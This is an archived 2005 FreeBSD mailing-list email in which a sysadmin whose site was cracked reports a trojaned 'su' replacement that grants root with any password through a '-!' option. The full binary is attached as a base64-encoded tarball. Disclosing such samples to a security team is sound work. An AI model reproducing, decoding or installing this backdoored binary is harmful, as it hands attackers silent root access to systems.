Date: Fri, 01 Jul 2005 16:12:04 +0200 From: "Argelo, Jorn" <jorn_argelo@epson-europe.com> To: stable@freebsd.org, security@freebsd.org Subject: Possible exploit in 5.4-STABLE Message-ID: <42C54F34.3070003@epson-europe.com>
next in thread | raw e-mail | index | archive | help
This is a multi-part message in MIME format. --------------030002000903050705000904 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Hi all, My site has been cracked yesterday (don't worry it's not about that) and the cracker uploaded a script to delete stuff. Anyway, not important. The script contained a link to a russian site. This site, of course (almost) completely in Russian, had a file to gain root access with a modified su utility. It's maybe not so useful for me to attach the binary, but I'll do it anyway because I don't have anything else but that and a readme file. It didn't seem to work (out of the box) with 5.4-RELEASE though. This is a translation from babelfish: Plain replacement of "standard" su for FreeBSD. It makes it possible to become any user (inc. root) with the introduction of any password. For this necessary to neglect su with the option "-!". with the use of this option does not conduct ravine- files. Was tested on FreeBSD 5.4-STABLE. My apologies if I am sending in something completely useless and not important, but I figured it wouldn't hurt just to make sure. Cheers, Jorn. --------------030002000903050705000904 Content-Type: application/octet-stream; name="su.tgz" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="su.tgz" H4sICHaaoUICAHN1LnRhcgDsWn90VPWVfxMmMMZoIiaIivSpoQaEZAIJPwKMBBJAGgQhslbA MExe8kYmM+nMGyAsSOiQLcOQGl2pHLbtwdVV4LiK1rqApo3AIei6W3rsbvHHVuxx64QEEiHA 8KNm7+e+75t5GQL17Fn3nzLn3Lnvfu/3e7/31/f7ve9HIJgvfds/u90+oahI7q/d+EkF9rFF 9nEFRfaC8WgvKrAXSkXS/8MvGNCcflmW/kp/gWB+IPjtx398YeHV4l84DrFOjn/heLtkvx7/ b/23vqx8psViucGgU6QBkoWw9RmrrZBweaHeXijJ0kApV7pdGkIYNEED9SFopWtAKsYRDCDo ARAPkE3X2YJnEcA/4gEOj5IkAMZLmYKP4O8hPkFmiiRtoUkHCj6R0mjijyYewJh/oJgDkE5C 0jdYbYChRA818fI97uXKasWV76kao3iq8wK+vAKItpl0nOlXlOkLS6URrw+SZhD9sFB5rsl3 DxIgcb5HMIxgGsFNBNMJRsb9qf8mEQzux//zCO4R15jnIYLbCb5LMIKglOA2wb+F4A7oTzBG tN1LgODdL+gCYWte0jzlwj/jBJ1t4hnxcJjaygjuJJhPMAX+IBhLMJtg1v9B3t0o8M0Eaab2 1H76puthv+KHPLtVxM34fUfgHIKMfsYMMV3fbboeTTCIYLhIvSKR47mCn0UwmWAiQXE/cil9 pftE/uA3nqCEYALBAwR3Ecwx9Z/aj4ybTTkx2GSLkTuzRTJVCXqzCNw4Qd9nsmuwKdaSoCeL 608FjdzC+tFz66teI7f/JPjPCfn5Fp2uSJL3cEpfelkSvwbr4w2rzcrys6QfCN79gv+SkN8l 6FcFvUfQK5PkvSP4Twh6neAVCXop6ZNjmu/fRP8HBL9K6PsjQa9I0n8jwbEm3R+DKasCSfzV SfTmJP0aiL/prcT8zyTxP0vS5zkTH/vIpiT5PyY612RPB41/8SmrzZ2i8y8lyduaou+Zev+b pNdMOQ/+vyTps0PMpxj+TeLvFPxSQR8SvBJBfyDoWUKfdNF/ksiXD5Pk/VLwJwv6WBL/dsEf K+g/Cp5L0DIt+Mw39PhkUr6+LfpHxPztUl/5B1ISewrrm5LYC0GfNO2Zg8WZZdbnI9F/oqA/ F/QYQZ9Ioi8RXH7JyJ8bpTOCn2esT0FvFP6xiPi9Kvg3CfoXhj+S7M0C//XEet1F9Ja3Evyz KYlzBONHWfqut0LBvyToSYL/71axv1j62j/P0jc/L6YkzhzwBw3o29+V1H9QkryMAX39WW/p u34lOpeDmtuDA7lQ8vhq3N7KGkWrW+XyOAMBaZXTrdW5q6SAu0aprdPqA4omEVsJos1b53d7 tWqpsvT7D5XMfXAGc7wrJepEHJ/frdWjCeMrKwNaleL310n0txqtkFDr9Hh8LqnS7XVrUkDz +12qX1rh9nioP/VWatwBTfFXVvudtQp1qvZRO433+SW/4qzCCK+rtk7HdfWYF9NX+/wroLDT pbl9XnCrgjyvFKgPkIVowbDKappXmOzy+AKKVL2KdFakylnl86aXlFfOmzlzYVlFZUXJ9PKy yoRvdM/QZMGA4nf5vJqymrWH8pVzVlYuEHrPQD8lQDr3Z0k1FTtwfp2zFr4fK9EFpFeSBrUG QeZ4aCSTireKsUt1BjVV861gCteKV3O7nKQ4s2FJJc0bgPFoIU1dfqVK8tUpXtCaVk9ar2Qe 2pI7JzRwulxaZW1Nra4Amag7Xyecfg36u6B9ESLKDuKAG8H31VGvGqkuGE+LGop6nbtO4W41 SAfvSref5napVW4/Bri9yJY6v6/GS75ipRGzGt3dAVWh7EAhuRJN1F/PnkrNEyBZVYk+ZCUL 4GRGsvEFNUnkqdXIN7PEGqGb5goIxSqVKqfmJFWWBwLCWpyrqTfr511qtn5OpFIhmU77A9Zd JjCt1yxgWndDgWmdDwOmDVEGpoIwB5gKn1xgKiRHA1NBZgemIq0QmAqwicBU3E4BpsJqGjAV ZaXAVJjOBqZFXA5MRdl8YCqaKoDpAHoUmArZJcBUoC4DpmK2CpgKTRWYimgPMBVhdcBUAGnA VNCsBqaNZy0wFXcNwFQkbwSmwmcTMBVrW4Cp+G4GpqLsWWDaALcBU5H3U2DasHcA08b8IjAV 1DuBqfB7BZgOhD3AdBC9CUyF4F5g2qjeAabirhWYirtDwLShHQGmQu0DYCoQjwLTQfQ7YCqg jwFTgf0pMB3Yx4HphuELYDpQo8BUdHcCU7HdDUyFdg8wFd0xYLrhuAyMGw6K9yA6yKzAdNNg A6bCMR2YivYoghw9TZ4+KPUWWWlU7wibODt6RyBLVFy2H++l3whkiwpe+1GmkTUqSu72VqaR PSpuK9r3MI0sUrHFt+9gGtmkolRub2YaWaWijG5vYBrZpWLbb69jGlmm4napfRnTyDYVtxbt 85lG1qm49WifxjSyT30UtJ1pZKGKcrNdZhrZqMKg9kymkZVqHZcETCM71dWgu78GjSxVG9h+ ppGt6ia2n2lkrdrM9jON7FW3sf1MI4vVHWw/08hmdSfbzzSyWt3D9jON7Fb3sv1MI8vVVraf aWS7eoTtZxpZrx5l+5lG9qvH2H6msQrU42w/01gNapTtZxqrQu1m+5nG6lBjbP+fQW/h+Ftg P9PNHH/QR5l+luMPupXpbRx/0HuY/inHH/QOpndw/EE3M/0ixx90A9M7Of6g65h+heMPehnT ezj+oOcz/SbHH/Q0pvdy/EHbmX6H4w9aZrqV4w86k+lDHH/QEtNHOP6guy+D/oDjz/YzfZTj z/Yz/TuOP9vP9DGOP9vP9Kccf7af6eMcf7af6S84/mw/01GOP9vPdCfHn+1nupvjz/Yz3cPx Z/uZjnH82X6mL3P82X6msRuoUbafaewKajfbzzR2BzXG9l8CjV1CxbOJ9uNEPxL+71Dn0PDS nnAwFl53OfzbpqAt8vjlprU/t4an4oam8ZMn7w+ts0naiEiZ7QXcYoQPNEyUtCENxfmOoK1p uoUbQwcsDcVS8MRe3FQ2tmpp4fSc6K8pATtSo7MJtVlzUB5HX6Hr6GKaOLw2xxbWcqzhYTnR f6DsDFtzor8hZnNzM+tka5g6GvVvcPLzNhIZkUhoVigV19beo/G2YCeWFpjpNEUutUZH1F46 fzgVgy3vHdRlGX2y2kpzrHbiGH0veC6dD029jBthLdssCU3RT4j73kHo8zeLFm7oHEbbamSp LRJMD33RHerMbGtcRobgrqytsYquMLwtVRVVe1vjMKOtMSt+VR6/Gh2/ssevCuNXQ+mq/WVI Lo235Yir9hdQUP+qNRSr1ibR3/o7QrEx2mT6W28Lxe52aMGO9aGYy6Et61gVitVqE+gPHI9D G9KhhGIBh1bcsVTXAGV4xyLzzHajdZreaumjY8coXQ/uMfx5lCBhNrTjlrbUKvgcjNToG1QX kLNtp8gGI8zI11CsN6MRG/uku1C2rLstkg2MNAKOZP0kvBW2h1rwLzmCqdEaEhVh8vI+7Ogc ptOvnv9tqN0SupDpWMlRjb3MUcX00d9foCRbTn+NrQ495mk7E9x9xGiy/ixTJN1FIsPvUs8g 97zL1PMpYrWVbsMzKCn88WTWeO3giPUn4dKn00MnLJNZ93WnmiqeTg9vnUIaRj0XaQjf2UAY YyueR0nRezBPYy46zaJOoYkSG5JRym06Bx7Dpp089j9jNGAqu1cbhk6ymCBF79Szi7L1FpIa TedZJmKWghguZQgnM+/lSazsWrRJGc8eaGzNeLb1hqM7LcFbIi0YE9mKDpPW2LSsCAvByI8u JkZa9aCwp0abPKXEjMGRFIwZcdGYO+7YSabu34UDWjjntAURlhpaL0va2MgsmTYXhzYSRuKB GjWEaXBTY1Ros5gNxII6XPal1JGlL67ZO42lkqJ7Jn0ZsooXKI23RXhBQZLhrRA0PEirfYlw rENbAP7zGIiJBl/Uh0L3+bruuIeNbocCS0wd2y9c0ZGNfPg8fML+r9C52Bfiw96I6Qokz7vd JO5x07z3JM/7gys78rwfnePtFo6I3oQ+hxtb966hDhml3bQUuf8Asya5V9Ek0zTBkyZNtsWS NPkydkVH1mTeuUQqxzuvORfP5f28sD7MKDvW+Ik2Jx6HaaRlpr7i6ZRIj+g5LORv0+VjXUQz Yrr8V01zfnKWVnfjEtOIFPPso88iJYM3R7ZyF95rOsYaa2tkX/tNZr1pth+B1dWbkhN9/7yx PJDqQ3GuYcBvTDrNOtuPH07DD7E0R1ABy2pmTWAlHRkb/55a427pq1zgfEK5z03KXTp3pU/a evStcNZVZN1nknXGJOu1fmT9bQ+W7jB9HxgSYcMh44UzcMM0uPOREG8mkth7U3clRk/twZrA 6HBWTrTrnDEGrhseYbGGA+8wDRvYk9gvCuPSl4sdZ7oMBVbdiMPbESznvck0+L0zCFd8jxmK LYU3jcTZSntOsN+dJNTCXTIaQ2LDxfuXCHfEnMN7YAAyqWmaJdSyhPuW6mw9Bw+GD++dRcrs Q4Avh9vOvJTx3IGMZ1r1KaDfxAMUjT/snYlOeFqp92nNeOZA7lE+5C23t4ZaU8I8ILI117Sf mI+IX5yGi/iY1kbp5kZmDYOSu86wf+s5GN8zOWbPaQ4vXpdJhittyAOSb420TBMJ7j5rGv+o afyyHj09LObcvf/MtXPt7Z5ErtXsSuTaDCEsZ3diggyTTc4rFtBXp68908OmmVaZZvrojD7T FpMp//QV0uED4/xoPCKC0/QzXDU1HhUB/3M3qJ1id8EmaOy0t54BZ1NfDs934TQ4al8O3hVG P0MAeC5RMHDhKHrgqWi0hXuUG9o0zhd6NH7FpZQjo/EsbxGwWaIN40NTXRB3xLavjP29r4Ps Z/oPxd6E2x1a2RV+/6i7f3Gfn06Ie9Ekzn066biY3a0Hru/wfzQN328aPkrPUuthU7j+RBZF N7BZKCg3ficFaz9jY/oAc/AMhzZxizj88UIkWk1DI3FnHhEKokYd1q1fG2F95zR6VoieP9d1 EVLVhFQOZyZJbWpBsDoWRThooeNUiK93BJdHC7t0K24RVWcP0Zhvyum4DLasXFiLd5vgf9Bl TgDMDbVoj2RtHadwvJMLgk9Ff9gVl8SapyCKX/fqxde/mpy3qxsH8DUzprqr/xB/3d1/xvxd 9zUz5uVT/Yt7rbv/jJnQnZQxQ071lzF13f1nTKwLMYPP3o1xx1V/2WLtKiqmX8XiZ7uuafEv T/YvrqWrf4vLupIszjnZn8VPdvVv8UCRXR+awnzglDlzv9B72PRtZLbI3MQaOHTSvCLe6rpW nueeMnN3Xuqbd2l9uJsSXNa08yT8xneQt7/3urThXTzZEUd78E7hUborESUG3aRkvNXaeEAb HD4SOv6lfkqF1tikjLIj4XKqDcVBpx9ba2HRNGHDG5wzV55au0/Ga4mMRhvPLsI4nLocw73B rA7j/G5LxTMQ3NJ3pCcm12TDlWL+QcLE/8Lo9zoTrjaO1WGiwx/RYae5Q0uWXvOA+yW4mztN mbUiHvqDJ3p7X9iIBzKUFanREot+m/Pitc/uf2Zjlxj2GZMa9bHVsDi7E+E3XHcfj+ICxRGc EmrhRxVadoRvcdtSTtKI0AmrfsdrlGXZkRbmDuoGt8saZnLvGVC6NcEsIXM/bsD2nqe/jLID utBwiqjqtMn6aU7FZUH0BClLWl71XuCSHlZUTdEBsECXxR7IEh5Y0ZEoKVeZ6tgXOvjh18JQ pzVyF/wamkwuuj8ygB3AD4IcWppOnm8n2XzVguActFLf4H+EDlkXLz2Y9AAtstQW/uzK5xQb LuBmdlU2tJgqtva7O/W6d9A+frCihf/w6+FU/OzDOrls1InMoxJxUYfoNvdX6XjcNjWdn1kV R4aEf580XVNJb8OUAVMdwWwjHzDbgBOYLU/bFzpsDTmk4OF9cEP4SGRpTyQYi6y7HO40jHke L5hobDryxS52S4tea84mDaO3dfAdJvvxTt2Pi8iRmZGg7W0uRhdRY0cWP/chp63mqWlRZ7x1 LBppB6FZ6Y7vs6iDOOFjoUOZix83Jj+c2oDwG7tJOY/VZEOdlxFC3C9ZWR30jW76kqzHlf6s DiF9u5OdhP9eLa331lAHxaw3eE6PWXNzc/Q5UvHgtb9TyhEfghXLAb8LH47luwLBfPe4iePx 6Vi+y6+58xaOXikX5I2Xx9rtY/PtRfkFRbK9sLhgUnHhJNm33O9WvHLZ6jo5pz/503LvHSnP 8NXV+901qibnukbKBZMmThxN/5PG8X9h2g0VqiIvUGoUrxaQfdWyRuQjXvdKxR9wa/VomeH0 uKt9fq/bmSfLJR6PzNICsl8JKP6VSlVemuT3+TRpTLWn9u7AA65iCa8b8U5S1nw+2ePz1khe nyb7g16v21sjB8zvxOVqp9sT9CvSKtUnO/2KXO8LPiBeZcd5+cvd3vyAmngfWyyPCPR5i5s7 v2Ru5YJHFpYtGMk8Tau/kl9R8X2dO72kVF74CF2Rgvj3edG60Of31/d5O82jEkKD3hVe3yqv zO9/4yrEX1PHW+Jvk7nF5/XUy3CQXOusl8k18hhXXBS/YtcHKv5aN7+elqsUr1upknP5je1I vKpVyYFylduvuDSfvz75lbzp3XdcB/P7bm6EL0koGQyWLFh5V75Kj4tQvEIcXmMb30fwNwcV ZQvmSvCLNHve3DJp4eyy8nIKvzSmVhoTCEqVBIZvaXz5vFkPlVC3uSUPlkszSueXVMyWHpy5 UCovraQcTeilUGiXe9wBVYYleNfv9ATy9M9onTUKLZKgvHjMUgJKtACwS/cfXXJI5MVOf01g 6dK0b7CwvGJhFf2vFtb13/Xf9d/13/XfNX9lu/Q3lTGqknDrMZBqu5sJbiW4gyB7t9Vm/k7c gCctOnak6N9n47vZm8T3j7gNztlgtaEm37KJZBJeG7La8J336AH6t9+Zpm/Q+bPA1638VAN/ WeJbd3z3fjRiteF6L+HB4tv25G++v+kPFbIZS6bvn/G7SDak/ZjsJhhFUEwwh+AxgicI1hBs JthOsJtgP8H7BB8TnCC4SJD2FI0nGEVQTDCH4DGCJwjWEGwm2E6wm2A/wfsEHxOcILhIkNZM 4wlGERQTzCF4jOAJgjUEmwm2E+wm2E/wPsHHBCcILhKkPU3jCUYRFBPMIXiM4AmCNQSbCbYT 7CbYT/A+wccEJwguPm21fcMC2OWrrfV5cUov9zu9VXkuPqkLcVKPyy+w5xdMkAuKigvHFReM k+sUTfGLg/ovn/oFQhYNJGGF+faJOPYL/qedswuNo4ri+OzMVNNNoy3WWqwPUys1LWayu22a ujRt03STpo21JClUSx03u5Pstrs7685sNgEFwfggFkopgvrgB2qLgooFpQhCfSj4QaWFClZB FEIRKfhBQB+Kes7ce3fn3GxiQ7QgZkqz89975tx7z/2YO5n7y6Z4dHO8LWqkh4Wrnq6uuNHc s3f/OmODudGMGQe570P+hZH22Gbl+oxoocpuyfQXs0hG8cK0t5kxM4qXtLXCUgTLFo1DBaFk pUrSc53CP14o0x3Pw2ILPr0S+8yIsyysKUtFxYQVu2127uht8ZIjiplJwhrUTI8X4EL26ZUU s2Tn8JydFHMeXp2Fn/6q1PR3nZolx99eaLKfdoZtDfV9JPPZlGLiktYFzT4Op8DvCDxNmEMu SOwKsBKcwzhcxecQVTBCM/AoaziTgXY+yxNi418cemD/9iJuh/MOPpQeUGvpgvtp59yJyuej x3F/9SJ2bYjbLOX76TVuh/PX0QY2b8nl6+HsjcrnpzONNc5I5NvAGRphh/PZhUY2z+n8e2H3 EPd9E59Pv2qqcTLB+g4G7CbBbhLsDJ3a4X8rYIc8lw4T6O/Lp/uzA3Y4f19by1krye5IoN2M U3qDca+inNTonm+fKeR2fhLOr5EaRxP0Nx7whztxmiO1tKDdU7xsGp+vkf06G2CFRPyOBvLF p/6rEXqfEP5OBOymwG5qBrsXA3a4F+jaDOV7OVhf3GMJHXJpaHp7vM7LqXEuxogpSk6fHr83 g4wcfg92Y6Hp/W+ZyJMfz29QlNN1xlEowKH5LB9ML5HFrK9uD/T7xZK/dKeifKdP91fvwHHM 7uXMCscr0yzne6qa5YDjj2mWAY4zplmr4nhimvXEC1V9s68Fp6PxlpusaoYyYn9nmtFlgsvQ +IjC/sv0Eg4dCd3ky+aqvoWsEzROlV2takamTVX1MpZfVXPq7z2hb2P5nxZ6ucS03S7pFZK+ Q9IrSbvoyi9/NvD4r/TbTCUcHKZHJL1N0rL9bknvD9Q/BPVPBeofgvo/FohfCOI3EYhHCOJx HMdBVTcpz2F8+baxEMTjVezLvP1UaD/klnDD3kqejmN/MpAulw+5pJ8D5bvM17eifFek8k1J 5cOAXjpZ878iNLf4yfbtkt4C+knof1k/vyVKN+hHOeeF9dsDOh3QyOFkAvph5IegfO28fLgR thd0N9e4EXbig5q9h2v1N/SGnTz9WdDHTtb0cdAJSD/P9UvIzkI87uLtg5wR/moVf9+K/t4N UU7xbIhyip+EKKd4UeIUvw1RTvFHiRP6NUQ5ReTcgpyirlJOsVGlnOKdEke3VtIxSd+vUk6x S6XclOAuBae4T6Wc4iOSP1ulnOKoSjmnJyROcQLXAqJ+apNyXKVc32sSt/iWlN9plXKLZ6T0 jyR9TtLnJW7xSyn9a6k8V1R6z/pDssedZUFusVGj3OIqjfrz11YBbrFdY/P3cT89rGzVKMfY LXFnezTKMQ5I6Qc1yjFmNMoxFjXKMVY0yjFOSP6e0ShneExKf0GjHOMpjXKM70hc34ca5Rg/ lvyfw3ie0BsuL2Px+EyjXOMljXKN32uUa/xBKt9PEof3m0Y5RrGwEXqxTrnGW3XKNa7QKde4 RqdcY6tOucZNOq1/h065xgGdco0HdMo1HtLp+BRrKME1juqUa3xap/U/Kq25XtEp1/i2ZP++ ZP+5lH5Rp/H8Rpe4RvZYqySHsvikhk+YrbO8TVK24CMVPFUbuWzB3qpsGSpnc15LtrAVHble eXgYnFlW1+CD/VZf78CgZYHaSVRil9Xd3/lAwtqR6Ond63+1u6uaXjQjCuRRzMGTedqMIuHo WCM5ZyiZs/yHPCtZHlOcocN2yjNjCiMF0+V8flxkm9i7s5arECxHoTA/cV5zn6q6nzUMBQgD Pn1DMfmrMXzfkVEq3rCSytnJgl0YhUr4bx2UVIajeIzfs8BSsceKTsmz2EsS/2v/IdUp4Gsn 54jlORYzUQoOO4E4DJWHobozgqdVrpDgkXPCUSWWUqZTZydV65OXnF+dBmByoJVzj9AGrmNl oFfl6rKZFItkFCyBIwUSKyBJH40NIp0zYbKEpvxb7jOAW3LSkWC2AsEUuC1BMSX2liCk/ksx xmrWcFzKlXI4N0hZcqwTed18Ehp+Br6Tsrwz056M8uXMJ8FY65G/HPqsCwD7/cB3I6HANR72 +qHguvRpfVKYlbBGpvrk8MLx3z3Ybzm9Me9fzGP2v/8UiUViserff4q2xXz7WHt04e8/3YCj pWMe/8JGvaO/7O4yBuxUGW9lxqCdzIfnl8twyckb8Xp+PQfyi+OOl7BbHjoMp/v27+jr7TIS fd3GwK7eQaPZLRtwryyM2OvmWYojdiW3PZ8tJWH9sYYqI5sOw0TfEY1Eos2Yss6AKbQj0lzJ 2DaKklMuulU9q6tKxvG/ISGFW8po1D/baHx69gt8txJrm9UNVLtlW3iuuzKox9b1/l6YTDad tgtGy2oDbqIG3B/YVpn1rXWyXB3eB34rTikdN+Byb7wI18OywHCdvO1lcG+RfF39UEaaMZPZ 43if0dYMC4JSEtaUNyKoGBCIl2tUsEa4ALLTWJ359SvPdr24wd8AGW3mxpb+RF+icyARhnBB Cuu9hpfN234DFOyKcbdbvjvswiohbmQ8rxhvbS25njnqZNNmqTzP8izcExeOheP/cvwFkC/o 0QBWAAA= --------------030002000903050705000904--
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?42C54F34.3070003>